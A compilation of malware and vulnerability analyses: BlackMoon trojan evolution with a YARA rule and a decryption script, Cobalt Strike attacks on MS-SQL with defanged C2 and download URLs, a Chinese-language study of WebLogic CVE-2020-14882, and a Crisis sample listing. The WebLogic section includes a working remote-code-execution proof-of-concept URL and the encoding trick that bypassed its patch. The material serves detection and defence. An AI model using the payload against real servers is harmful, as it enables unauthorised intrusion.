this sample, it was not able to make a successful connection. **Ports used:** - 10101 - 4401 - 3203 - 4866 - 8832 It is always advisable to verify if the files or documents are from reputable sources and exercise caution while using them. Also, protect your system by using a reputable security product such as “K7 Total Security” and keep it updated to stay safe from threats. ## Indicators of Compromise (IOCs) | File Name | Hash | Detection Name | |--------------------------|----------------------------------------|-------------------------| | Assignment-88.docm | 64C20687676B7A96987D0F9C4F8777B9 | Trojan (0001140e1) | | Chairtabkjh8.exe | E3A45FFFAB35F9E0331963A1F1D793DD | Trojan (005393351) | C2: hxxps://sunnyleone[.]hopto[.]org
# Analysis of BlackMoon (Banking Trojan)'s Evolution, And The Possibility of a Latest Version Under Development BlackMoon, also known as KrBanker, is a banking trojan that mainly targets South Korea. I thought this family was dead since around 2016; however, I recently obtained a couple of recent samples that, after unpacking them and performing a quick analysis, I noticed they were BlackMoon. VirusTotal's first submission date for one of these samples is 2018-06-18, and for the other, it is 2018-11-01. After digging a bit more into this malware family, my conclusion was that probably there is a latest version of BlackMoon that is under development. I explain it in this post, which I hope you enjoy. **Original Packed Sample:** C38E54342CDAE1D9181EC48E94DC5C83 **Automatic Generated Report:** PepperMalware Report **VirusTotal First Submission:** 2018-11-01 07:03:51 **Unpacked Banker Module:** 4634F4EF94D9A3A0E2FCF5078151ADB2 ## 1. Loader ### 1.1. Packer Most of the analyzed samples' packers are well-known packers such as PeCompact, Aspack, Fsg, or Nspack: | Sample | First Seen | Packer | |------------------------------------------------------------------------|------------|----------| | 09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1 | 2018-11-01 | PeCompact| | 80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a4e40 | 2018-06-18 | Aspack | | 2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc | 2016-03-03 | Fsg | | 5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6c467 | 2016-02-28 | PeCompact| | 47434c9c2e887ba6f47a31e757b4ac0c0e648dfee9f93e38bd49e1c17f660dcf | 2016-03-05 | PeCompact| | 2012486d87dcc3362745c6f8f178b9be5417c595e79c452a20729d2e60ec814b | 2016-03-08 | Aspack | | 05afd7bbf6efa14102f72bad0e3a0686af6522b25228ab760ef57e8d6df36ed1 | 2016-03-05 | Fsg | | 5e1ca094e11b2dcfdd4c729e2eaf1bdfd0ec84067a39f1c3a233bfff1ff6dcb5 | 2016-03-20 | PeCompact| | 406c50ed0333d2023de55ce798a4e7d5fa6e45df65c16733ef48961e94277807 | 2016-04-08 | Aspack | | 4844e92d76b2158be2b5468b70e2d0898f9ba2287a02b2b0aa7af2a2113d4970 | 2016-03-02 | PeCompact| | 7351373a50acbaa4bb3fa622b0573f473289d745ba717551c82abbe398c1c1ff | 2016-03-10 | Nspack | | 09a5dc4f9544f7bbc898d205f1e14518606e158f4a7c7126d7eb604ec9ec5c74 | 2016-04-09 | PeCompact| | 224ead790d3bab7ede11252728d47e21f0d0274767aa3e6a16628e8970a0149f | 2016-02-28 | PeCompact| | 00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723 | 2016-05-05 | PeCompact| ### 1.2. Process Injection Most of the analyzed samples follow the same strategy; they launch an executable (chosen randomly) from the %system32% folder and inject the new process (hollow process). The unpacked code will be executed in the context of the new process. Some of the executables that we have seen the malware launch are: wmiprvse.exe, dwwin.exe, comp.exe, cacls.exe, etc. | Sample | First Seen | Hollowed Process | |------------------------------------------------------------------------|------------|--------------------------------| | 09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1 | 2018-11-01 | system32\wmiprvse.exe | | 80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a4e40 | 2018-06-18 | system32\wmiprvse.exe | | 2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc | 2016-03-03 | system32\dwwin.exe | | 5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6c467 | 2016-02-28 | system32\comp.exe | | 47434c9c2e887ba6f47a31e757b4ac0c0e648dfee9f93e38bd49e1c17f660dcf | 2016-03-05 | system32\comp.exe | | 2012486d87dcc3362745c6f8f178b9be5417c595e79c452a20729d2e60ec814b | 2016-03-08 | system32\cacls.exe | | 05afd7bbf6efa14102f72bad0e3a0686af6522b25228ab760ef57e8d6df36ed1 | 2016-03-05 | system32\cacls.exe | | 5e1ca094e11b2dcfdd4c729e2eaf1bdfd0ec84067a39f1c3a233bfff1ff6dcb5 | 2016-03-20 | system32\cacls.exe | | 406c50ed0333d2023de55ce798a4e7d5fa6e45df65c16733ef48961e94277807 | 2016-04-08 | system32\cacls.exe | | 4844e92d76b2158be2b5468b70e2d0898f9ba2287a02b2b0aa7af2a2113d4970 | 2016-03-02 | system32\comp.exe | | 7351373a50acbaa4bb3fa622b0573f473289d745ba717551c82abbe398c1c1ff | 2016-03-10 | system32\cacls.exe | | 09a5dc4f9544f7bbc898d205f1e14518606e158f4a7c7126d7eb604ec9ec5c74 | 2016-04-09 | system32\cacls.exe | | 224ead790d3bab7ede11252728d47e21f0d0274767aa3e6a16628e8970a0149f | 2016-02-28 | system32\comp.exe | ## 2. Main Module ### 2.1. Persistence The malware installs itself under a HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run's subkey. For most of the older samples, the run subkey is an 8-length combination of lowercase and uppercase letters and numbers. However, the analyzed samples that date to 2018 install themselves in the subkey with the fixed name 000C29FC2AB3. | Sample | First Seen | Run Subkey | |------------------------------------------------------------------------|------------|-----------------| | 09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1 | 2018-11-01 | 000C29FC2AB3 | | 80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a4e40 | 2018-06-18 | 000C29FC2AB3 | | 2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc | 2016-03-03 | 06iSwa6C | | 5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6c467 | 2016-02-28 | kC6MOsu8 | | 47434c9c2e887ba6f47a31e757b4ac0c0e648dfee9f93e38bd49e1c17f660dcf | 2016-03-05 | R3tP5nj1 | | 2012486d87dcc3362745c6f8f178b9be5417c595e79c452a20729d2e60ec814b | 2016-03-08 | 66qscw4Q | | 05afd7bbf6efa14102f72bad0e3a0686af6522b25228ab760ef57e8d6df36ed1 | 2016-03-05 | W60u80qO | | 5e1ca094e11b2dcfdd4c729e2eaf1bdfd0ec84067a39f1c3a233bfff1ff6dcb5 | 2016-03-20 | uki4Kk2o | | 406c50ed0333d2023de55ce798a4e7d5fa6e45df65c16733ef48961e94277807 | 2016-04-08 | 35V5Bj9b | | 4844e92d76b2158be2b5468b70e2d0898f9ba2287a02b2b0aa7af2a2113d4970 | 2016-03-02 | AAAC2kY8 | | 7351373a50acbaa4bb3fa622b0573f473289d745ba717551c82abbe398c1c1ff | 2016-03-10 | 1Lf9Tn7B | | 09a5dc4f9544f7bbc898d205f1e14518606e158f4a7c7126d7eb604ec9ec5c74 | 2016-04-09 | 5jNh7p11 | | 224ead790d3bab7ede11252728d47e21f0d0274767aa3e6a16628e8970a0149f | 2016-02-28 | j3pVbRJ5 | | 00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723 | 2016-05-05 | 000C29FC2AB3 | Curiously, the sample 00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723 that dates to 2016-05-05 (from the older samples, one of the newest) installs itself under the same subkey 000C29FC2AB3. In addition, these samples that create the subkey with the name 000C29FC2AB3 create a mutex named M_Test too (the other samples don't create this mutex). ### 2.2. Encrypted Strings Most of the important strings of BlackMoon are encrypted. Here is a capture of the code responsible for decrypting the strings from the sample 09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1: To compose the definitive key that the malware uses to decrypt the strings, it carries a string that is the first part of the key, and then it appends 6 additional characters to that first part of the key. In the capture, the definitive key to be used would be "7ac13b3aa82136afa3090c5137B8a195". Encrypted strings are like this: The algorithm used to decrypt each string is `rc4(unhexlify(rc4(unhexlify(encrypted_string), key)), key):` ## 3. Evolution ### 3.1. Encrypted Strings Evolution We have extracted the strings from samples from different dates to compare them: - **Date 2016-02-28:** Sample 5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6c467 - **Date 2016-03-03:** Sample 2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc - **Date 2016-05-05:** Sample 00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723 - **Date 2018-06-18:** Sample 80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a - **Date 2018-11-01:** Sample 09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e In section 2.1 (about persistence), we had already noticed that most of the samples from 2016 create an 8-byte length subkey under the registry \Run key, with a combination of lowercase and uppercase letters and numbers. However, a sample dated 2016-05-05 and the newer samples dated 2018 create a subkey under \Run with the name 000C29FC2AB3. In addition, these samples create a mutex with the name M_Test (this mutex is not created by the 2016 samples). If we take a look at the lists of strings, the sample dated 2016-05-05 and the samples dated 2018 all have similar lists of encrypted strings, where strings are ordered in a similar order (though they are not totally identical). The other samples dated 2016 contain different lists of strings, identical between them, but different from the lists of the samples dated 2018. ### 3.2. BlackMoon Versions: Latest Version Under Development? Having in mind the IoCs collected in the previous sections, we can conclude that there is a first version of BlackMoon malware, whose samples are dated around 2016, and another version that could be under development, with samples dated 2016-05-05, and two others dated 2018-06 and 2018-11. **Version 1:** - **Persistence:** 8 bytes length subkey under registry \Run key, with a combination of lowercase and uppercase letters and numbers - **Encrypted strings:** "http://", "/ca.php", "?m=", "&h;=", "GET", "?p", "POST", "users.qzone.qq.com", "GET /fcg-bin/cgi_get_portrait.fcg?uins=", etc. - **Samples dated 2016** **Version 2 - probably under development version:** - **Persistence:** subkey under \Run with name 000C29FC2AB3 - **Mutex:** M_Test - **Encrypted strings:** "ScriptControl", "Language", "VBScript", "ExecuteStatement", "Function MACAddress()", "Dim mc,mo", "Set mc=GetObject(\"Winmgmts:\").InstancesOf(\"Win32_NetworkAdapterConfiguration\"), "For Each mo In mc", etc. - **A sample dated 2016-05-05, other 2 samples dated 2018** We have only 3 samples that we have classified as version 2. They are probably quite similar, but we must keep in mind that the lists of encrypted strings for these samples are not totally identical. However, the Run key 000C29FC2AB3 and the mutex M_Test lead us to think these 3 samples are the same version. From my point of view, these 3 newer samples could be a version that is under development. Because of that, each version 2's sample is a bit different from the others. And because of that, the name M_Test for the mutex and the non-random name for the \Run subkey. ### 3.3. BinDiff Let's compare with BinDiff the following samples (once they are already unpacked) trying to understand the evolution of this malware: **Version 1:** - 2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc (2016-03-03) - Original sample packed with Fsg **Version 2:** - 00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723 (2016-05-05) - Original sample packed with PeCompact - 80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a (2018-06-18) - Original sample packed with AsPack - 09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e (2018-11-01) - Original sample packed with PeCompact **Statistics:** - 2016-03-03 -> 2016-05-05: 345 matching functions - 2016-05-05 -> 2018-06-18: 591 matching functions - 2018-06-18 -> 2018-11-01: 1743 matching functions I think the most interesting indicator about similarity, at least in this case, is the number of matching functions because the unpacked modules were dumped with Volatility's procdump command, with --memory --unsafe modifiers. Probably most of the primary and secondary unmatched functions are due to residual parts of the code of the packer in memory and maybe due to recompilations of the code with newer versions of the runtime. If we compare the paired functions, we find that most of the changes between versions are due to light modifications, small fixes, etc. #### 3.3.4. 2016-03-03 -> 2016-05-05 Differences: For example, here is a function from the sample dated 2016-03-03 compared to the same function from the sample dated 2016-05-05, where we can see that small changes were made in this function. Another function shows a larger part of code was removed from the function in the newer version. Btw, in the case of 2016-03-03 -> 2016-05-05, most of the matching functions are located in totally different addresses. Probably, despite the fact that the code doesn't change a lot and there are a lot of matching functions, a code refactorization was done from version 1 to the first samples of version 2 (around 2016-05). #### 3.3.5. 2016-05-05 -> 2018-06-18 Differences: In this case, in addition to the similarity between functions pairs, a lot of the matching functions are located in the same offset in the unpacked sample. This makes us think both binaries are quite similar, despite the fact that we find minimal changes like in this function. However, there are other functions with more important changes that suggest a minimal development between both samples (manual modifications on the code: improvements or fixes, not only recompilation + repacking). #### 3.3.6. 2018-06-18 -> 2018-11-01 Differences: Again, a lot of the matching functions are located in the same offset, and minimal changes between paired functions. And again, some parts of the code with more important changes suggest a minimal development by the authors between the first and the second sample. ## 4. Conclusions From my point of view, there are two main versions of the BlackMoon family. Samples from the first version date from the first half of 2016. Around May 2016, a new version was started. In the sample that dates 2016-05-05, we can appreciate a code refactorization and more important changes in the code. In addition, we can find changes in the behavior, such as the non-random subkey under the \Run registry key, named 000C29FC2AB3, and the non-random mutex created by the malware with the name M_Test. There are minimal changes between the sample that dates 2018-06-18 and the samples that date 2016-05-05, and again minimal changes between the samples that date 2018-11-01 and the sample that dates 2018-06-18. However, there are enough changes between these version 2 samples to appreciate that a development was done by the authors; there must be modifications of the source code between them (not only recompilation + repacking). My conclusion is that there is a version of BlackMoon that is under development. We can find quite recent samples (based on the VirusTotal first seen date) of this version under development. I can't say for sure if the code of those recent samples was modified and compiled in 2018 or previously (despite the fact that I think the code was recently modified and it is currently evolving; maybe those samples were only repacked or their bytes lightly modified, or maybe VirusTotal didn't see these samples before). In addition to the larger changes from the first version to the second version, we can appreciate an evolution of the code of the second version: from the sample 00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723 (May 2016), to the sample 80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a (June 2018), and to the sample 09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e (November 2018). So, from my point of view, it seems there are enough evidences to think that there is a BlackMoon version that is under development and currently evolving. ## 5. Yara Rules and Scripts ### 5.1. BlackMoon Yara Rule **Unpacked module:** ```yara rule blackmoon_unpacked { strings: $code1 = { 89 45 ?? 68 01 01 00 80 6A 00 68 ?? 00 00 00 68 01 00 00 00 BB ?? ?? 00 00 E8 ?? ?? ?? ?? 83 C4 10 } $code2 = { FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? B9 ?? ?? 00 00 E8 } condition: (all of them) } ``` ### 5.2. Script to Extract BlackMoon Encrypted Strings The following script extracts and decrypts the encrypted strings from a BlackMoon unpacked sample: ```python import os import sys import binascii import traceback def rc4(data, key): x = 0 box = range(256) for i in range(256): x = (x + box[i] + ord(key[i % len(key)])) % 256 box[i], box[x] = box[x], box[i] x = 0 y = 0 out = [] for char in data: x = (x + 1) % 256 y = (y + box[x]) % 256 box[x], box[y] = box[y], box[x] out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256])) return ''.join(out) def findencstrings(s): l = [] laststr = "" for i in range(0, len(s)): if s[i] in "0123456789ABCDEF": laststr += s[i] else: if ord(s[i]) == 0 and len(laststr) >= 6: l.append(laststr) laststr = "" return l def decstr(s, k, k2): sorig = s try: if len(s) % 2: s = s[0:-1] s = binascii.unhexlify(s) s = rc4(s, k + k2) step1 = s if len(s) % 2: s = s[0:-1] s = binascii.unhexlify(s) s = rc4(s, k + k2) return True, s except Exception as e: return False, "ERROR:" + repr(e) + ", string:" + sorig def findkey1(s): l = [] laststr = "" for i in range(0, len(s)): if s[i] in "0123456789abcdefABCDEF": laststr += s[i] else: if ord(s[i]) == 0 and 20 <= len(laststr) <= 30 and not len(laststr) % 2 and laststr not in l: l.append(laststr) laststr = "" if len(l): return l return None def findkey2(s): key = "" for i in range(0x0, len(s) - 0x100): if s[i:i + 8] == "\x68\x01\x01\x00\x80\x6a\x00\x68" and s[i + 8] in "0123456789abcdefABCDEF" and s[i + 9:i + 12] == "\x00\x00\x00": key += s[i + 8] return key def get_strings_from_pe(s): ldecs = [] lenc = findencstrings(s) lk1 = findkey1(s) k2 = findkey2(s) if lk1 and k2 and lenc: for k1 in lk1: for i in range(0, len(k2) - 6): for senc in lenc: decs = decstr(senc, k1, k2[i:i + 6]) if decs[0]: ldecs.append(decs[1]) return ldecs def analexe(s): decrypted_string_list = [] try: decrypted_string_list = get_strings_from_pe(s) except Exception as e: print("blackmoon exception in get_strings_from_pe") print(traceback.format_exc()) for e in decrypted_string_list: print("blackmoon decrypted string:", e) if __name__ == "__main__": if os.path.exists(sys.argv[1]): f = open(sys.argv[1], "rb") s = f.read() f.close() analexe(s) else: print("Incorrect path") ``` ## 6. Other Notes ### 6.1. Another sample dated 2018 suspicious of being BlackMoon Once I started to investigate a bit more and to search information about the BlackMoon family, I found a tweet talking about another sample that could be BlackMoon and whose first submission is 2018-08-08. I took a quick look at this sample; here you can find the unpacked module. Some interesting strings from this unpacked module: - http://aa.mrmr11[.]cn:8000/fdeee.dll - yPBfy0A4q1Y3gvgmREe0r1UR0fZVidMd4V8CB3oKTzNaOYCyPaSVz48Sw5mVifR3sVxYgeM7EyVu6DwnrfAG/AxGgDr+9GIP3cQ59d/eLtPq - C:\Program Files\AppPatch\lpDllName - 360zipUpdate.EXE The original sample was packed with Aspack, as other recent BlackMoon samples. However, this first unpacked module doesn't look like BlackMoon: the code, the strings, etc., are totally different. Anyway, when I analyzed this sample, the DLL that it tries to download (http://aa.mrmr11[.]cn:8000/fdeee.dll) had already been removed. Maybe that DLL was the BlackMoon module. I can't be sure if this sample is BlackMoon or not (this other any.run analysis contains this same IoC: "C:\Program Files\AppPatch\lpDllName", it downloads a DLL too, and the second process name is in a similar format. Maybe the same family. This other one was tagged as #trojan #dupzom).
# Cobalt Strike Being Distributed to Vulnerable MS-SQL Servers February 21, 2022 The ASEC analysis team has recently discovered the distribution of Cobalt Strike targeting MS-SQL servers that are vulnerable to malware attacks. MS-SQL server is a typical database server of the Windows environment and has consistently been a target of attack from the past. Attacks that target MS-SQL servers include attacks on environments where vulnerabilities have not been patched, brute forcing, and dictionary attacks against poorly managed servers. The attacker or the malware usually scans port 1433 to check for MS-SQL servers open to the public. It then performs brute forcing or dictionary attacks against the admin account, a.k.a. “sa” account, to attempt logging in. Even if the MS-SQL server is not open to the public, there are types such as Lemon Duck malware that scans port 1433 and spreads for the purpose of lateral movement in the internal network. Managing admin account credentials so that they’re vulnerable to brute forcing and dictionary attacks or failing to change the credentials periodically may make the MS-SQL server the main target of attackers. Other malware besides Lemon Duck that target MS-SQL servers includes CoinMiner malware such as Kingminer and Vollgar. If the attacker succeeds in logging in to the admin account through these processes, they use various methods including the `xp_cmdshell` command to execute commands in the infected system. Cobalt Strike that has recently been discovered was downloaded through `cmd.exe` and `powershell.exe` via the MS-SQL process. Cobalt Strike is a commercial penetration testing tool and is recently being used as a medium to dominate the internal system in the majority of attacks including APT and ransomware. The malware that has recently been discovered is an injector that decodes the encoded Cobalt Strike inside and executes and injects the normal program `MSBuild.exe`. Cobalt Strike that is executed in `MSBuild.exe` has an additional settings option to bypass detection of security products, where it loads the normal DLL `wwanmm.dll`, then writes and executes a beacon in the memory area of the DLL. As the beacon that receives the attacker’s command and performs the malicious behavior does not exist in a suspicious memory area and instead operates in the normal module `wwanmm.dll`, it can bypass memory-based detection. Although it is not certain in which method the attacker dominated MS-SQL and installed the malware, as the detection logs of Vollgar malware that was previously mentioned were discovered, it can be assumed that the targeted system had inappropriately managed the account credentials. AhnLab’s ASD infrastructure shows numerous logs of Cobalt Strike over the past month. Seeing that the download URLs and the C&C server URL are similar, it appears that most of the attacks were by the same attacker. IOC of Cobalt Strike over the month is shown in the list below. AhnLab products are equipped with process memory-based detection methods and behavior-based detection features that can counter the beacon backdoor which is used from Cobalt Strike’s initial invasion stage to spread internally. **File Detection** - Trojan/Win.FDFM.C4959286 (2022.02.09.00) - Trojan/Win.Injector.C4952559 (2022.02.04.02) - Trojan/Win.AgentTesla.C4950264 (2022.02.04.00) - Infostealer/Win.AgentTesla.R470158 (2022.02.03.02) - Trojan/Win.Generic.C4946561 (2022.02.01.01) - Trojan/Win.Agent.C4897376 (2022.01.05.02) - Trojan/Win32.CobaltStrike.R329694 (2020.11.26.06) **Behavior Detection** - Malware/MDP.Download.M1197 **IOC** MD5 Cobalt Strike (Stageless) - ae7026b787b21d06cc1660e4c1e9e423 - 571b8c951febb5c24b09e1bc944cdf5f - e9c6c2b94fc83f24effc76bf84274039 - 828354049be45356f37b34cc5754fcaa - 894eaa0bfcfcdb1922be075515c703a3 - 4dd257d56397ec76932c7dbbc1961317 - 450f7a402cff2d892a7a8c626cef44c6 Cobalt Strike (Stager) - 2c373c58caaaca0708fdb6e2b477feb2 - bb7adc89759c478fb88a3833f52f07cf C&C - hxxp://92.255.85[.]83:7905/push - hxxp://92.255.85[.]83:9315/en_US/all.js - hxxp://92.255.85[.]86:80/owa/ - hxxp://92.255.85[.]90:81/owa/ - hxxp://92.255.85[.]90:82/owa/ - hxxp://92.255.85[.]92:8898/dot.gif - hxxp://92.255.85[.]93:18092/match - hxxp://92.255.85[.]93:12031/j.ad - hxxp://92.255.85[.]94:83/ga.js **Beacon Download URL** - hxxp://92.255.85[.]93:18092/jRQO - hxxp://92.255.85[.]93:12031/CbCt **Download URL** - hxxp://45.64.112[.]51/dol.exe - hxxp://45.64.112[.]51/mr_robot.exe - hxxp://45.64.112[.]51/lion.exe - hxxp://81.68.76[.]46/kk.exe - hxxp://81.68.76[.]46/uc.exe - hxxp://103.243.26[.]225/acrobat.exe - hxxp://103.243.26[.]225/beacon.exe - hxxp://144.48.240[.]69/dola.exe - hxxp://144.48.240[.]85/core.exe Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. **Categories:** Malware Information **Tagged as:** BruteForcing, Cobalt Strike, CobaltStrike, Database, Dictionary Attack, MS-SQL, MSSQL
# 年度最慘漏洞!深入探究 Oracle WebLogic CVE-2020-14882 **緣起** WebLogic 是美商 Oracle 的主要產品之一,係商業市場上主要的 Java(J2EE)應用伺服器軟體之一。於 2020 年爆出高風險漏洞 CVE-2020-14882 與 CVE-2020-14883,其中,CVE-2020-14882 的 CVSS 3.1 評分更高達 9.8,屬於嚴重(Critical)等級之漏洞。攻擊者可利用漏洞,組合惡意指令,使未經授權的請求繞過 WebLogic 後台登入等限制,最終可以遠端執行代碼攻擊(Remote Code Execution),因此攻擊者可輕易的利用此漏洞發起攻擊。 ## 技術分析 我們從下圖的漏洞 POC 範例開始看起。 首先 WebLogic 會對 url 進行檢查,當攻擊者試圖存取 console 路徑底下的檔案資源時(階段 A),會將其 url 與 WebLogic 設定檔(web.xml)內的網頁資源路徑進行比對,若該 url 屬於任一資源路徑,將不須驗證即可進行資源存取(階段 B)。其 web.xml 的檔案路徑為 wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml。 再來,`http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal` 會先進行一次 url decode,將 %25 轉成 %,所以該 url 會變成 `http://127.0.0.1:7001/console/images/%2E%2E%2Fconsole.portal`(階段 C)。但是在 UIServletInternal.getTree 函式中,WebLogic 又會做再一次 url decode,將 %2E%2E%2F 轉為 ../,於是 url 變成 `http://127.0.0.1:7001/console/images/../console.portal`,且後續的操作中 WebLogic 都沒有對路徑進行權限檢查,所以產生了跨目錄穿越攻擊(Directory Traversal)的漏洞。 WebLogic Server 處理後台管理(console)的請求時,會呼叫 BreadcrumbBacking().init 函式進行處理(階段 D)。當 url 中含有 handle 參數時,會將 handle 拆解成 class 和 argument。以 POC 為例,class 就會是 `com.tangosol.coherence.mvel2.sh.ShellSession()`(階段 E),argument 則是 `"java.lang.Runtime.getRuntime().exec(%27whoami%27);"`(階段 F)。後續,會將 argument 傳給 class 的 constructor,而 ShellSession 函式會再把 argument 傳給 MVELInterpretedRuntime 函式中,最後透過反射執行 argument 中內含的惡意指令,也就是 POC 範例中的 whoami。 ## 修補插曲 但僅憑跨目錄穿越攻擊、Unauthorized RCE 等問題,何以稱之為「年度最慘漏洞(Most Epic Fail)」?Oracle 於 2020 年 10 月釋出修補程式,但細究其修補的方法,發現 Oracle 利用黑名單的方式過濾 url 參數。利用黑名單方式過濾,會有什麼問題呢?只要利用不在黑名單內的 %252e%252e,就可以成功繞過(Bypass)已修補程式中的 url 檢查。眾多安全研究人員於短時間內發現該問題並通報 Oracle,該漏洞也被編號為 CVE-2020-14750。此錯誤的漏洞修補方式,也使得 CVE-2020-14882 成功入圍 2020 年 Pwnie Award Most Epic Fail 項目。 漏洞修補是一門深奧的學問,以 CVE-2020-14882 為例,其成因包含對檔案路徑存取控管不確實、對路徑做兩次的 url decode 及後台管理程式提供代碼執行。但 Oracle 一開始只修補兩次的 url decode 問題,更不用說其修補的方式為黑名單限制。因漏洞修補不確實而產生了更更多的漏洞,所以不可不慎。 ## 影響層面 攻擊者利用此漏洞互相搭配,不須登入即可遠端指令執行,進而產生憑證竊取(Credential Dump)、橫向移動(Lateral Movement)等攻擊行為。 **受影響產品**:WebLogic Server **受影響版本**:10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 ## 防護建議 - 更新 Oracle 官方最新修正 patch。 - 惡意 payload 檢查,例如檢查 console.portal 和 payload 是否帶有 handle=... 參數,或是直接關閉 console.portal 和 payload 的 handle 功能。 - 匯入以下 Yara 偵測規則,確認是否存在利用該漏洞的惡意程式。 ```yara rule CVE_2020_14882 { meta: author = "TeamT5" description = "CVE-2020-14882 exploit" strings: $resource1 = "console/bea-helpsets/" $resource2 = "console/framework/skins/wlsconsole/images/" $resource3 = "console/framework/skins/wlsconsole/css/" $resource4 = "console/framework/skins/wlsconsole/js/" $resource5 = "console/framework/skeletons/wlsconsole/css/" $resource6 = "console/framework/skeletons/wlsconsole/js/" $resource7 = "console/css/" $resource8 = "console/common/" $resource9 = "console/images/" $console1 = "console.portal" $console2 = "consolejndi.portal" $handle = "handle=" condition: any of ($resource*) and 1 of ($console*) and $handle } ``` *圖片來源:Pixabay*
# Aug 2012 W32.Crisis and OSX.Crisis - JAR file Samples ## End of the year presents: Malicious Java file containing W32.Crisis and OSX.Crisis ## Related News and Analysis: - **Crisis for Windows Sneaks onto Virtual Machines** - Symantec - **New Apple Mac Trojan Called OSX/Crisis Discovered** - Intego ## Files - **File:** adobe.jar **Size:** 1,124,562 bytes **MD5:** BA170664095B53D97690B5BE208927E2 - **File:** mac **Size:** 993,440 bytes **MD5:** 6F055150861D8D6E145E9ACA65F92822 - **File:** win **Size:** 1,043,456 bytes **MD5:** AE8D4770EF02373D7680F160E01E8668 ## Automatic scans **SHA256:** 53cd1d6a1cc64d4e8275a22216492b76db186cfb38cec6e7b3cfb7a87ccb3524 **SHA1:** 465ca6b7e883a7d145ddf6d59e3ef1c0eec279e5 **MD5:** ba170664095b53d97690b5be208927e2 **File size:** 1.1 MB (1,124,562 bytes) **File name:** ba170664095b53d97690b5be208927e2 **File type:** JAR **Tags:** jar **Detection ratio:** 36 / 42 **Analysis date:** 2012-11-23 15:50:50 UTC ## Additional information ### Antivirus Result Update - Agnitum: Trojan.DR.Injector!VcQiekruiLk (20121123) - AntiVir: Java/Dldr.Trea.CN.1 (20121123) - Antiy-AVL: Trojan/Java.Agent (20121122) - Avast: Java:Dropper-F [Trj] (20121123) - AVG: Dropper.Generic6.AOLY (20121123) - BitDefender: Gen:Variant.Kazy.81085 (20121123) - CAT-QuickHeal: TrojanDropper.Injector.fleh (20121122) - ClamAV: WIN.Trojan.Crisis (20121123) - Commtouch: - (20121123) - Comodo: UnclassifiedMalware (20121123) - DrWeb: Java.Dropper.15 (20121123) - Emsisoft: Gen:Variant.Kazy.81085 (B) (20121123) - eSafe: - (20121121) - ESET-NOD32: Java/Agent.EU (20121123) - F-Prot: - (20121123) - F-Secure: Trojan-Dropper:Java/SelfSign.A (20121123) - Fortinet: Java/Agent.N!tr (20121123) - GData: Gen:Variant.Kazy.81085 (20121123) - Ikarus: Trojan-Dropper.Java.Agent (20121123) - Jiangmin: TrojanDropper.Java.n (20121123) - K7AntiVirus: - (20121122) - Kaspersky: Trojan-Dropper.Java.Agent.n (20121123) - Kingsoft: VIRUS_UNKNOWN (20121119) - McAfee: Morcut.a (20121123) - McAfee-GW-Edition: Morcut.a (20121123) - Microsoft: Trojan:Java/Spoilder.A (20121123) - MicroWorld-eScan: - (20121123) - Norman: Spoilder.A (20121123) - nProtect: MAC.OSX.Trojan.Morcut.A (20121123) - Panda: Generic Trojan (20121123) - PCTools: Malware.OSX-Crisis (20121123) - Rising: Trojan.Win32.Generic.12F274CC (20121123) - Sophos: Troj/JVDrop-A (20121123) - SUPERAntiSpyware: - (20121123) - Symantec: Trojan.Maljava (20121122) - TheHacker: Trojan/Dropper.Injector.fleh (20121123) - TotalDefense: Java/Agent.CDT (20121122) - TrendMicro: JAVA_MORCUT.A (20121123) - TrendMicro-HouseCall: TROJ_GEN.F47V0724 (20121123) - VBA32: TrojanPSW.Agent.acnn (20121122) - VIPRE: Trojan.Win32.Generic!BT (20121123) - ViRobot: Trojan.S.OSX.Crisis.1124562
